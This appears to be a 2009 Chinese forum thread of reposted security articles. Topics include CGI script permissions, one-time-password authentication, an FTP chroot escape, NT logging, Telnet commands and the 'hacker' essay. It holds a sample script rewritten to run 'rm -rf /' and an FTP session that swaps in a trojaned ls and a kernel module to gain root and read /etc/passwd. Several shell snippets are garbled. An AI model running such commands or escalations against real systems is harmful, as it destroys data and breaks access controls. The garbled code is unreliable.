因为CGI wrap使得CGI脚本的作者负责他们自己的脚本权限,所以它不仅是一个保护其他人拥有的重要文件的有力的工具,而且是促使人们编写安全的脚本的有力的工具。只有他们自己的文件会处于危险之中,这样的现实对脚本作者会是极大的促进。

3.5 CGI脚本权限

还应该清楚了解CGI脚本被哪个用户拥有以及脚本自身的文件权限。包含脚本的目录的权限也非常重要。

例如,如果Web服务器上的cgi-bin目录是所有人可写的,那任何本地用户将能删除CGI脚本并用另一个来代替。如果脚本本身是所有人可写的话,那么任何人将能修改脚本完成任何事情。

请看下面这段无害的UNIX CGI脚本:

#!/bin/sh
#Send the header
echo"Content-type:tex/html"
echo""
#Send some HTML
echo "<HTML><HEADER><TITLE>Fortune</1TLE><HEADER>
echo "<Body>Your fortune:<HR><PRE>
forune
echo"</BODY><HIML>"

现在,如果脚本上设置的权限允许某个恶意的用户将程序改变如下:

#!/bin/sh
#Send the header
echo "content-type:text/html"
echo""
#Do some damage!
rm-rf/
echo"<HTML><TITLE>Got you! <TITLE><BODY>"
echO"<H1>Ha ha!<H1></BODY></HTML>"

那么下一个在Web上访问该脚本的用户即使他没做什么坏事也会导致大量问题。在Web上检查用户输入的完整性很重要,但更重要的是保证脚本本身未被修改且不能被修改。

3.6 本地文件安全

脚本在本地硬盘上创建的文件的完整性也同样重要。在得到Web用户输入的一个合理的文件名之后,使用该文件名干什么也很重要。根据Web服务器运行的操作系统,权限和拥有者信息可以与文件中的数据一起存在文件上。

例如,UNIX系统能记录文件访问权限,包括创建该文件的用户的权限、同组用户的权限、以及系统其他人的权限。windows NT使用的是一个更复杂访问控制清单系统,但完成的功能大致相同。根据这些标志如设置以及授予或禁止什么权限,Web服务器机器的用户也可能引起麻烦。

例如,在创建一个文件时就应知道给它设置的权限。大部分Web服务器软件将umask或权限码设为0000,意味着可以创建一个任何人可读写的文件。尽管文件上的权限设置对在Web上浏览的人可能没什么不同,但本地访问的用户却能利用不严格的权限设置造成危害。基于这种现实,应该尽可能严格地限制文件权限。

保证每个打开文件的调用都有一个最小限制集合的最简单的办法是设置脚本的umask。umask()是一个UNIX调用,它能对每个后续的文件创建限制权限。umask()的参数是一个数字,用于对后续的文件创建的权限码进行屏蔽。如果umask为0022,则不管在打开文件时给组用户和其他用户赋予了什么显式的权限,都将导致创建的文件仅能被用户自己写。即使已经设置了umask,创建文件时也应该显式指定权限。如果只有CGI脚本能访问文件,那么只有运行CGI程序的用户才能访问该文件——权限为0600。如果另一个程序需要访问该文件,可以使该程序的拥有者成为与CGI脚本同一组的用户,这样只需设置组用户权限——权限为0660。如果必须让所有人都能访问该文件,应使该文件只能读,不能写——权限为0644。

3.7 使用显式路径

最后,本地用户还可以最后一种方式攻击Web服务器——欺骗服务器运行他写的一个外部程序,而不是运行在CGI脚本中指定的程序。下面是一个简单的程序,从UNIX的fortune命令可以看出该浏览者还比较聪明。

#!/bin/sh
# Send the header
echo"conten_type:text/html"
echo""
#Send the fortune
echo"<HTML><HEADER><TITLE>Fortune</TITLE></HEADER><BODY>"
echo "<You crack open the cookie and the fortune reads:<HR><PRE>"
fortune
echo "</PRE><BODY></HTML>"

该脚本看起来可一点没有害处。它不接收用户输入,所以用户不能籍此搞什么把戏。因为它仅由Web服务器运行,所以脚本本身的权限设置可以非常严格,可以防止任何有企图的本地用户修改它。如果对该脚本所在的目录也设置了正确的权限的话,看起来就没什么地方可以出问题了,是不是?

当然还有问题。记住得要有点偏激。

上述程序清单调用了外部程序,在本例中是echo和fortune。因为这些脚本没有用显式路径指明它们在硬盘上的位置,该shell即使用PATH环境变量来找到它们,从变量中的每一项查找要执行的程序。这可能很危险。例如,如果fortune程序安装在/usr/games中,但PATH中在它之前列出了/TMP,那么任何碰巧命名为"fortune"并位于临时目录的程序都会被执行,而不是真正的fortune。

该程序可以做它的创建者想做的任何事情,可以删除文件,也可以登记有关请求信息并将数据传给真正的fortune——使用户和编程者谁也不聪明。在CGI脚本中运行外部程序时一定要指定显式的路径。PATH环境变量有很大作用,但它与其他变量一样也能被非法使用。

4 使用他人CGI脚本时的注意事项

关于CGI,可以从很多地方获得信息——从Internet上,从学校图书馆中,从像本书这样的书中,UseNet组中以及朋友和同事中。从这些地方不仅可以获得信息,还可以得到实际的程序和库。有些程序和库如果已经有人做过了为什么自己还要从头再做一遍呢?但就像不能盲目听从别人的意见一样,关于如何理财,如何驾车或者生活中的别的方面,同样,也不能在自己的服务器上盲目地运行另从的代码。从Net上得到的脚本也可能真正是很好的脚本。但也许并不是。花些时间考察一下脚本的来源以及获取它的站点的可靠性是值得的。

4.1 追根求源

某些Web拥有者。如果不能看到并研究源代码的话,他们甚至都不会运行一个公共的、免费的或商业性的脚本。这可能有点偏激。如果某个声誉很好的公司销售一个文档详细且广为使用的脚本,该脚本应该比自己写的脚本更安全一些。原因有二。首先,专业人才知道并能避免一些常见的安全漏洞;其次,公司是为了嫌钱而做生意,如果他们以次充好或销售那些恶意的产品就不能再做生意赚钱了。

从另一方面来看,如果UseNet组中看到一个编译好的可执行文件出自一个从没听说过的人,没有什么文档可以看,也没有该程序的用户可以交流交流,那么在将它放入自己的服务器之前一定要仔细考虑。也有可能这是来自一个像自己一样的另一个CGI编程者的完全合法的贡献,目的是想让全世界共享他的编程成果。但它也可能来自某个恶意的,具有变态幽默感的,只想看到自己能使多少人清盘的人。

在评价公共的免费软件或商业性软件时,应考虑下面这些方面:

该脚本来自一个声誉好的站点吗?该站点存在很长一段时间了吗?它维护得好吗?Web拥有者在发布文件前进行检查吗?

有没有足够的文档说明该程序如何工作以及用户如何使用等信息?

有多少人已经下载了该脚本?该站点愿意提供顾客名单吗?(仅在有疑问时才去询问;Web拥有者不会整天去回答这类问题。)

有人在UseNet上讨论该脚本吗?如果有,他们说好还是不好?如果没人提到该脚本可以进一步请求别人的见解。一般总会有人响应的。

提示

在评价脚本时检查下面这些useNet组: comp.security.announce,comp.securiy.unix,以及
comp.infosystem.www.authority.cgi。另外还可以访问位于ftp.cert.org的Computer

Emergency Response Team,以了解安全问题的历史及有关工作以及安全保护的软件。

5)该脚本的作者有没有一些别的好名声的脚本?

6)源代码能得到吗?免费的或有价的都行。

7)该程序是不是过份宣传它的能力?如果是,这可能是一个编程新手。

8)该站点自己运行了该脚本吗?如果没有,为什么?能找到别的站点运行该脚本吗?过分偏激以及时间限制

尽管游览取自Web的所有代码是个好主意,但要花费很多时间,特别是当代码比较复杂时更是如此。

例如,NCSA HTTPd就太大了,一般用户不可能一行行去读,但是从它的主站点http://www.ncsa.uiuc.edu下载它却能保证极好的完整性,满足任何用户的需要。实际上,任何从NCSA下载的东西都是有保障的。

实际上,Web上的许多著名的站点已经为用户做了大部分的几乎偏激的代码检查工作。从它闪中下载代码是可能利用的另一层另一层保护。这些站点包括:

ftp://ftp.ncsa.uiuc.edu/Web/httpd/Unix/ncsa_httpd/cgi(the NCSA Archive)
http://www.novia.net/~geewhiz(Virtual Webwerx Division Zero-CGI Land)
http://www.lpage.com/cgi(the World-Famous Guestbook Server)
http://sweetbay.will.uiuc.edu/cgi++(cgi++)
http://www.aee.com/wdw(the Web Developers Warehouse)

4.2 注意礼貌

最后,如果确实希望从Web上下载一些CGI代码,或者完整地使用它,或者用作自己编写的更大程序的一部分,还应了解一些事情。

代码是兔费的并不意味着可以自由地用它作自己想做的任何事情。通常程序和库是禁止拷贝的,如果原始作者没有放弃这个权力,他即能限制如何使用该程序。例如,作者可能禁止拆散该脚本,及禁止用作别的脚本的一部分。

一跟来说,在使用别人的代码之前(即使已经确定它是安全的),最好与作者进行联系取得许可。至少这样做比较有礼貌。而大部分情况下,作者会很高兴他的代码能被别人利用。当然,如果在自己程序某个片段处注明原始作者将是很礼貌的。                                                      
                                                                          

一光年的距离 2009-04-23 18:03
远程接入的安全问题  

    装备了功能强大的便携机,远程工作的雇员可以访问到公司的所有东西,从电子邮件到公司日常运作的重要服务,包括销售人员的自动化工具和专用的客户和公司记录。 信息系统(IS)的专业人员支持远程接入的安全性是至关重要的,主要是确保远程用户说谁就是谁。很多机构转向采用两因素认证和利用 一次性口令的新软件权标技术。这些方法改善了安全性,精简了安全管理并降低了在快速扩大远程接入基础设施的造价。

    加强远程接入安全性的最简单但效能最低的手段是使用静态口令——可以长时间内连续使用的单一口令。可惜,很多用户不是把口令写在明显处,就是把口令编进通信软件中。一次性口令和两因素认证的安全方案通过实现对远程认证至关紧要的两件事来消除风险——只有用户拥有的东西(如硬件或软件安全权标)和只有用户知道的东西(如个人身份号码——PIN)。个人身份号码打开权标,但不通过网络发送,这就降低了安全性的风险。该权标开始与安全服务器进行对话。

    用户独特的密钥暗藏在权标中,或嵌入用户PC机中的软件(软件权标)或是单独的手持式处理器(硬件权标)。这个密钥受到保护,“黑客”是得不到的。 经广泛测试、并成为工业界标准的数据加密标准(DES)是远程访问认证产品中最强的加密算法之一。DES支持72万亿种可能的钥匙,我们这个星球上每个男人、女人和孩子都可以分到100多万种可能的钥匙。一次性口令技术最强的实现方式采用了一种叫口令发问/应答的技术。

    认证服务器通过发送一个随机的数字(即发问口令)给用户来开始认证的过程。 发问口令对特定的认证请求是唯一的,不会事先被猜出。软件权标用此发问口令,计算出应答口令或者用手持式(硬件)权标算出应答口令。认证服务器也计算应答口令。如果用户提供的应答口令与认证服务器算出的应答口令相一致,用户就被授予访问应用程序或系统的权利。站在最终用户的角度,软件权标工作起来像静态口令,但在软件权标之下实现了两因素认证和真正的一次性口令功能。最终用户必须做到全部事情只是拥有其计算机和记住他们的个人身份号码。

    最好的软件权标还可以采用附加的安全技术,确保有效的软件权标只在一个地方工作,即保证复制的软件不能工作,不管是在安装前还是安装后复制均无效。

一光年的距离 2009-04-23 18:03
突破FTP中的限制

BY XUNDI

    这篇文章是对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,并可以访问全部文件系统,我只是看到了这篇文章,感觉思路不错,就把其翻译了出来,由于时间仓促,没有对程序进行测试。这篇文章也是98年发表的文章,所以并不一定对现在最新的系统适用。------------了解思路吗!!!

    下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户目录下使用/bin/ls存在潜在的漏洞。

    当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新的用户就变成了他用户目录的属主,如:
drwx------ 2 user users 1024 Jun 21 11:26 /home/user/

  问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在在我们的模拟系统中的用户home目录下建立一个目录结构:

/etc: 密码,组 .

/bin: ls, compress, gzip... - 一些可以运行的两进制程序。

/lib, /usr/lib: 一些需要的库文件。

/dev: 为了建立连接某些操作系统需要访问的一些设备。

用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属给超级用户。

  问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的:

drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/

  在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它):

OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:

  当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,注意,这个ls一般是受限用户下的/bin/ls程序。

    我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。

  不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。

如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。

  所以下面描述摆脱chroot()的限制:

  就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot().

  ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。

  另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。

实践:

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了chroot()到用户的home 目录:

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.

用户被受限于他的home目录:

ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.

修改ls两进制程序并上载所需文件

ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful

改变文件属性,这样可以来执行刚刚上载的文件。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.

运行修改过的ls并改变他的euid=0和装载木马模块。

ftp> bye
221 Goodbye.
thx:~#

这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了

thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.

再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。

ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1697
drwxr-xr-x 21 root root 1024 Jun 21 11:57 .
drwxr-xr-x 21 root root 1024 Jun 21 11:57 ..
-rw-r--r-- 1 root root 118 Apr 21 11:26 .bash_history
drwxr-xr-x 2 root bin 2048 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 8 11:26 boot
drwxr-xr-x 2 root root 1024 Oct 6 11:26 cdrom
drwxr-xr-x 3 root root 21504 Jun 21 15:26 dev
drwxr-xr-x 14 root root 3072 Jun 21 15:26 etc
drwxr-xr-x 7 root root 1024 Jun 21 19:26 export
drwxr-xr-x 7 root root 1024 Jun 21 19:26 home
dr-xr-xr-x 5 root root 0 Jun 21 14:26 proc
...
-rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz
226 Transfer complete.


这时我们可以访问整个文件系统了。


ftp> get /etc/passwd
226 Transfer complete.

ftp> bye
221 Goodbye.
thx:~#

  这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,我们就可以获得更大的权利。最好的解决办法是设置正确的目录属性:

ilm:~$ ls -ula /home/user
total 5
drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./
drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../
d--x--x--x 2 root root 1024 Jun 21 11:26 bin/
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home/
ilm:~$

    更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。

一光年的距离 2009-04-23 18:03
关于NT LOG记录

BY XUNDI

LOG文件允许你监控你系统的资源,这些资源包括文件,应用程序,网络连接,硬件和其他的一些设备。对于排错和系统安全的发现有很大的帮助。这文章不解释你怎样看你的LOG记录而是解释一些管理技以帮助你让你的LG文件在你的控制掌握只下。

当然你首先要知道这些LOG记录都放在哪里?

在UNIX系统上,对于LOG的管理一般很集中化,你熟悉的UNIX系统的话,就应该知道一个系统里的日志记录一般在某个目录下集中管理,如/var/log,或者/var/adm等地方。在WINDOWS NT系统中,LOG文件就没有这样集中化了。NT系统中有应用程序,系统和安全事件的EVENTLOG,对于INTERNET服务的LOG文件一般在于
C:\WINNT\system32\LogFiles目录下,其他NT服务有它们自己的目录以及第三方的软件一般都把目录放在其自己的程序目录下。这样,一个管理员就不会经常去查看这些分放在不同目录底下的应用程序目录。所以我们需要的是建立一个统一的好的管理LOG策略。

一般来说最好的方法是把各个记录文件放在同一地方是最好的管理方式,个人认为,分划一个分区来存储LOG文件是比较好的方法,这样就可以很方便的使用ACL控制,和保持文件分离各个应用程序。当然,作为日志来将,你所划分的空间需要你很好的估计,因为日志往往是吃空间大户。再设置到大多数组可以写访问此盘,而对于读权限只能由管理员来访问。最后你再设置一个"current"目录。

好了,现在你有一个分区来存储你的LOG文件,现在的问题是在你的系统上有那些LOG记录和怎样把你的那些应用程序系统放到你所指定的分区中去。

先说明下一些普通LOG文件和你怎样重定位它们:

Eventlog--这些在NT中内建的事件LOG你可以通过EVENT VIEWER-事件查看器来查看。这些LOG包括如应用程序LOG,安全LOG,系统LOG,DNS服务器LOG,目录服务,和文件复制服务。它们这些LOG文件的重定位可以通过编辑注册表中的:

the HKLM\System\CurrentControlSet\Services\Eventlog

的键值来完成。其中EVENTLOG下面有很多的子表,里面你可而已查找你想定位的LOG记录,找到一个KEY后在File属性下,设置每个文件保存在你所划分区的"current"目录下。(编辑注册表有影响系统的危险,操作之前先保存注册表)然后重新启动激活更改值。

关于INTERNET服务的记录--这些是你的WEB,FTP和INTERNET LOG文件记录。这些是唯一可以被设置为循环记录的文件,因此它们的文件名是基于周期时间的记录。为了改变这些文件的位置。编辑WEB和FTP的ROOT属性,选择LOG文件的属性,在这里你可以把LOG文件设置到你所划分区的"current"目录下。

Schedule Logs --这是个重要的LOG,你需要经常查看。它是位于C:\WINNT\SchedLgU.Txt下,其记录着所有由SCHEDULER服务启动的所有行为,如服务的启动和停止,你应该知道很多攻击以后,有不少后门是通过这个服务来启动的,所以你应该仔细查找这文件的里的内容,重新定位这个文件的位置,可以通过编辑下面的键值来完成:

HKLM\SOFTWARE\Microsoft\SchedulingAgent

Performance Logs --这些LOG是性能监视记录器建立的,它们可以通过编辑注册表中的HKLM\System\CurrentControlSet\Services\SysmonLog的DefaultLogFileFolder
值来完成。

除上面的之外,你也需要查看下面的一些LOG文件:

应用程序LOG--一般来说你如果有第三方的WEB服务程序或者FTP,MAIL服务程序,你也需要跟踪他们的LOG,并从注册表中更改他们记录重定向他你新的分区。MODEM记录--一般来说你的机器可以多人使用的话,请记录这些记录。

发送MAIL记录--虽然这不是一个真正的LOG记录,但你需要定时检查这些记录或者你编一个脚本来检查。

目录列表记录--这算不上一个传统的LOG记录,但安排每天的一些敏感目录列表重定向到你的LOG分区是一个比较好的注意,如果有新的文件突然产生,你可以跟踪它。它可以通过下面的方法来完成:

dir C:\InetPub\wwwroot\ /S /B > [LogPartition].

进程列表记录--你可以安排一些ps.exe,tlist.exe和其他一些免费进程列表软件来监视你系统上的进程,并保存为文件。这样的好处是你可以比较方便的发现一些木马程序或者未授权的应用程序在运行。当然你也可以使用netstat.exe来定期的查看一些你机器上监听的端口。上面这些程序可以到下面的站点找到:

http://www.sysinternals.com/

最后你最好使用一个批处理文件来归档LOG文件,你可以把今天的LOG文件自动移到另一个位置。要注意的是有些文件是不让你随意更改和移动的,你需要停止这些关于产生这个LOG的进程来进行移动,如Scheduler service的LOG,你需要使用Net stop scheduler,然后在移动LOG文件,再使用net start scheduler来启动。当然你要查看需要你也可以使用一些事件查看工具把它们转化为ASCII文件。

所以这些只是一些事后的检查需要,要不被未授权访问,很好的对系统的保护是必须的,这些问题的内容你可以参考其他方面的材料。

一光年的距离 2009-04-23 18:04
Telnet命令模式

当开始运行Telnet时,情况如何呢?一个应用系统由两部分组成:“client”——这就是Telnet简介所说的客户机,另一部分是“server”——这是运行于网络计算机上提供服务的系统,称之为服务器。而网络(即使用TCP也使用UDP的服务器)则是提供两者(Clinet与Server)通信的工具。
这里要求客户机必须做到:
(1)建立一个网络与服务器间的TCP连接
(2)以方便的方式接收输入
(3)对某些标准的格式化输入作重新格式化并作重新格式化并传送给服务器。
(4)以某些标准的格式化从服务器中接受输出
(5)重新格式化显示给自己的输出
服务器软件是运行于主机上提供服务的系统,如果没有运行服务系统,也就不能提供相应的服务。
某一类服务被调用,它就可以:
(1)通知网络软件,让它准备连接;
(2)等待一个标准的格式化要求的产生;
(3)服务请求;
(4)传送一个标准格式的结果给客户;
(5)重新等待
一个服务器应该能够处理各种客户,有的是运行在同类的电脑上的,而有的是运行在 IBM / PCs , Macintoshes , Amigas等各种不同的机器上。为了做到这一点,服务器必须具有一套通信规则,这种规则通常叫做协议。由于Telnet协议用于两个应用层之间所以叫做应用层协议。任何人都可以在任何类型的电脑上编制一个客户机。只要这个客户机可以上网通讯并遵守协议,他就可以进入服务器。实际上也就是说,用户的 Macintosh可以使用Telnet和其他的的Internet的工具,从而能让很多不同的系统为其工作。
就使用来说,一个应用层协议通常允许客户机和服务器有不同的数据设定,并通告客户机和服务器使用相互的通信方式。这些经常是有每行在开始的几个字节的文本程序来完成的。如果服务器发送一个以“TXT”字符开头的行命令给客户,那么这行 “TXT” 后边其他的数据就被送入屏幕显示。如果一行的开始是以“CMD”开始,则表明这些信息是从服务软件到客户软件。使用者是看不到这些的,这是因为在信息传送到时这些控制信号已去掉了。

除了在Telnet是如何工作的例子介绍的以外,Telnet还有很多的特点。Telnet可发送除了"escape"的任何字符到远程主机上。因为"escape"字符在Telnet中是客户机的一个特殊的命令模式,它的默认值是"Ctrl-]"。但要注意不要与键盘上的Esc键混淆,我们可以设定"escape"为任意某个字符,只是对Telnet来说以为着该字符不可能再被传送到远程主机上,而Esc键是一非打印字符,Telnet用它来删除远程系统中的命令。而且还应记住,"escape"字符并不总以"Ctrl-]"来表示。
可以仅仅键入Telnet,后面不带机器字句。这种情况下所看到的是Telnet>,这是告知Telnet在等待键入命令,比如键入问号"?"那么就得到一个有用的命令表:

telnet: ?
Commands may be abbreviated, Command are:
open connect to a site
close close currect connection
quit exit telnet
display display operating parameters
send transmit special characters ('send ?' for more)
set set operating parameters('set ?' for more)
status print status information
toggle toggle operating parameters('toggle ?' for more)
mode try to enter line-by-line or character-at-a-time mode
? print help information

虽然命令很多,甚至还有子命令,但只有一些是常用的。现在介绍以下的几个:
Close:
该命令用语终止连接。它自动切断与远程系统的连接,也可以用它退出Telnet,在冒失的进入一个网络主机时,想退出的话,就可以用到这个命令。

open:
用它来与一个命名机器连接,要求给出目标机器的名字或IP地址。如果未给出机器名,Telnet就将要你选择一个机器名。必须注意,在使用"Open"命令之前应该先用"close"来关闭任何已经存在的连接。

Set ECHO:
用于本地的响应是On或是Off。作用是是否把输出的内容显示在屏幕上。和DOS的ECHO基本上是一样。如果机器是处于ECHO ON的话,想改变为OFF,那么就可以输入SET ECHO,想再改变回ECHO OFF,那么就再键入SET ECHO就可以了。(这儿说的比较简短,如果有不明白的,可以与我联系)

Set escape char:
建立"escape"字符到某个特殊的符号,若想用某种控制符号来代替,可以用"asis"或者键入符号"^"加字母b(如:^b)。在正常工作时,是不需要用"escape"这个字符的,并且这个被用作"escape"的符号不应该再被使用。这类似于许多程序中对键盘上的每一个键设定其真正的涵义。但如果正在运行一个 daisy-chained 应用系统,那么可以重新议定"escape"字符的特征便是很有用的。例如:用Telnet从系统A到系统B,接着又用Telnet注册进入系统C。如果正在系统C上工作时出了故障,那么当"escape"代表符是相同时,就没法中断系统B到系统C的连接。键入"escape"代表符,将总是处于系统A的命令模式。如果在每个Telnet部分使用不同的"escape"代表符,便可以通过键入适当的符号,来选择其中一个命令模式,这也可以用于其他的应用中(像终端仿真)。

Quit:
用它可顺利地推出Telnet程序。

Z:
用语保留Telnet但暂时回到本地系统执行其他命令。并且在Telnet中的连接以及其他的选择在Telnet恢复时仍被保留。

Carriage Return:
用于不具体的一个命令从命令模式返回到所连接的远程机器上。另外,还有许多其他的命令可以推出命令模式。下面举一个例子,是从注册进入到porky.math.ukans.edu ,然后进入命令模式,然后返回porky::

telnet porky.math.ukans.edu
Trying 129.237.128.11...
Connected to porky.math.ukans.edu.
Escape character is '^]'.
SunOS UNIX(porky)
login:wl
password:
Last Login: Tue Mar 28 05:35 from ns.bta.net.cn
SunOS Release 4.1.3_U1(SLIPPERY1) #3: Sun Nov 20 23:47:23 CST 1999
No match.
if:Expression syntax.
porky/serv/wl%cd/
porky/%CTRL-]
telnet:?
Commands may be abbreviated, Command are:
open connect to a site
close close currect connection
quit exit telnet
display display operating parameters
send transmit special characters ('send ?' for more)
set set operating parameters('set ?' for more)
status print status information
toggle toggle operating parameters('toggle ?' for more)
mode try to enter line-by-line or character-at-a-time mode
? print help information
telnet:set escape ^b
escape character is ’^b’
porky/%logout
ns.bta.net.cn%

注意:set命令也可以退出命令模式。当然,如果不行,可以回车输入一空行,也能回到porky。

丶韩尕炫 2009-04-23 18:04
累坏了 吧,楼主...

一光年的距离 2009-04-23 18:05
如何成为一位 hacker 1

How To Become A Hacker

这真是一个好问题, 不止是原作者说他被问过很多次, 包括我和许多网路上的朋友们也常有这个困扰. 不过和作者不同的是, 我经常没有一个固定的答案 :p事实上我所能提供也只是自己的经验, 却没有足够的能力来肯定自己的看法是不是正确的. 这份文章应该可以减去大家不少的麻烦 :)
嗯!! 这次自告奋勇当起翻译, 虽然是起於晚上回到住的地方之後很无聊, 可以用来打发时间. 不过我翻了百行之後, 越翻越後悔. 主要是因为里面有一些句子实在很难翻译, 这大概是因为我的英文底子不太好的关系吧!! 好不容易, 终於是翻完了. 为让句子更通顺或者是个人误解, 翻译後和原文有些出入, 这方面还请各位大大见谅. :-)
身为 Jargon File 的编辑, 常有一些网路新手发 mail 问我 "如何成为一个厉害的 hacker?". 但, 很奇怪的, 似乎没有任何的 FAQs 或 Web documents 说明这麽重要的问题, 所以我写了一份我自己的看法.
If you are reading a snapshot of this document offline, the current version lives at href="http://www.ccil.org/~esr/faqs/hacker-howto.html.
如果你是以 offline 的方式在看这一份文件的某一个版本, 那麽你可以在
"http://www.ccil.org/~esr/faqs/hacker-howto.html" 找到这份文件的目前最新版本.
What Is A Hacker?
怎麽样才算是一位 Hacker ??

在 Jargon File 里有一堆关於 `hacker' 这个名词的定义, 大部份必须是技术上的行家或热衷於解决问题, 克服限制的人. 然而, 如果你想知道如何成为一位 hacker, 有两件事是很有关连的.

这可以追溯到十年前第一台 mincomputer 刚诞生, ARPAnet 实验也刚展开的时代. 那时有一个由程式设计专家和网路名人所组成的, 具有分享特质的文化族群.这种文化里的成员创造了 `hacker' 这个名词. 这些 Hacker 建立了 Internet, 创造出我们现在使用的 UNIX 作业系统, 他们也使 Usenet 运作起来, 并且让 World Wide Web 动起来. 如果你是这个文化的一部分, 如果你对这些种种有所供献, 而且这个文化里的其它成员也认识你, 并称你为 hacker, 那麽你就是一位 hacker. 在精神上, hacker 并不单指(限制於)这种软体 hacker 的文化. 有人也把 hacker的特质发挥在其它领域, 例如: 电子或者音乐方面. 事实上你会发现, 在任何一种科学或艺术的最高境界里, 你都可以发现 hacker 的特质. 软体 hacker 们认为,那些类似的精神也都可以称为 "hacker". 有些人还主张 hacker 的通性是独立於任何媒介之上的, 不特别属於任何一种 hacker 所在的环境. 但是, 在这份文件里, 我们将把重点放在软体 hacker 们所需的技能、态度和发明 `hacker' 这个词的分享文化的传统.

在另一个团体里, 他们的成员也很大声的称自己为 hacker, 但是他们不是真的 hacker. 这些人(大部分是男性青年)专门闯入电脑和入侵电话系统, 真正的 hacker 们称他们为 `cracker', 并且不愿意和他们在一些做任何事. hacker 们认为这些人都是懒惰, 不负责, 并且不够光明正大的, 并且认为能破解安全系统并不能使你成为一位hacker. 但是很不幸的, 很多记者和作家不明究理的使用 `hacker' 这个字来描述cracker 们; 这让真的 hacker 们很忿怒.

The basic difference is this: hackers build things, crackers break them. 基本上, hacker 和 cracker 之间最主要的不同是: hacker 们创造新东西, cracker 们破坏东西.

如果你想要成为一位 hacker, 继续读下去吧. 如果你是想要成为一位 cracker, 那麽就去读 alt.2600 newsgroup 并准备在你发现自己并不如想像中那麽行时, 给自己一点评价. 所有关於 cracker 的事情就只有这些了.

Hacker 们解决了问题并创造新东西, 他们相信自由并自愿的互相帮助. 想要被别人接受成为一位 hacker, 你必须发自内心的表现出这种态度. 为了要很自发的表现出这种态度, 你就必须先完全认同这些态度.

